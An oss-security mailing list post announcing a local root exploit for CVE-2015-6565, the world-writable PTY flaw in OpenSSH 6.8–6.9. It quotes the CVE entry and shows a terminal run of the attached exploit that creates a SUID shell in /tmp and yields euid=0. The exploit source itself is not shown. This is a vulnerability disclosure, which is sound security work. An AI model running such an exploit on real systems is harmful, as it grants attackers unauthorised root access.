oss-security - Re: OpenSSH: CVE-2015-6565 (pty issue in 6.8-6.9) can lead to local privesc on Linux

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Thu, 26 Jan 2017 10:07:24 +0100
From: up201407890@...nos.dcc.fc.up.pt
To: oss-security@...ts.openwall.com
Subject: Re: OpenSSH: CVE-2015-6565 (pty issue in 6.8-6.9) can lead to
	local  privesc on Linux

Hi list,

I know I'm late to the party, but I was bored, so I decided to write  
an exploit for CVE-2015-6565 which affects OpenSSH 6.8-6.9
It is mostly considered to be a "DoS", even though Jann Horn publicly  
told how it could be exploited for local privilege escalation, but I  
guess its either PoC||GTFO for users to update.

 From https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6565

"sshd in OpenSSH 6.8 and 6.9 uses world-writable permissions for TTY  
devices, which allows local users to cause a denial of service  
(terminal disruption) or possibly have unspecified other impact by  
writing to a device, as demonstrated by writing an escape sequence."

I think the description should be updated.

$ gcc not_an_sshnuke.c -o not_an_sshnuke
$ ./not_an_sshnuke /dev/pts/3
[*] Waiting for slave device /dev/pts/3
[+] Got PTY slave /dev/pts/3
[+] Making PTY slave the controlling terminal
[+] SUID shell at /tmp/sh
$ /tmp/sh --norc --noprofile -p
# id
euid=0(root) groups=0(root)

Thanks,
Federico Bento.



----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.

View attachment "not_an_sshnuke.c" of type "text/x-csrc" (2039 bytes)

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.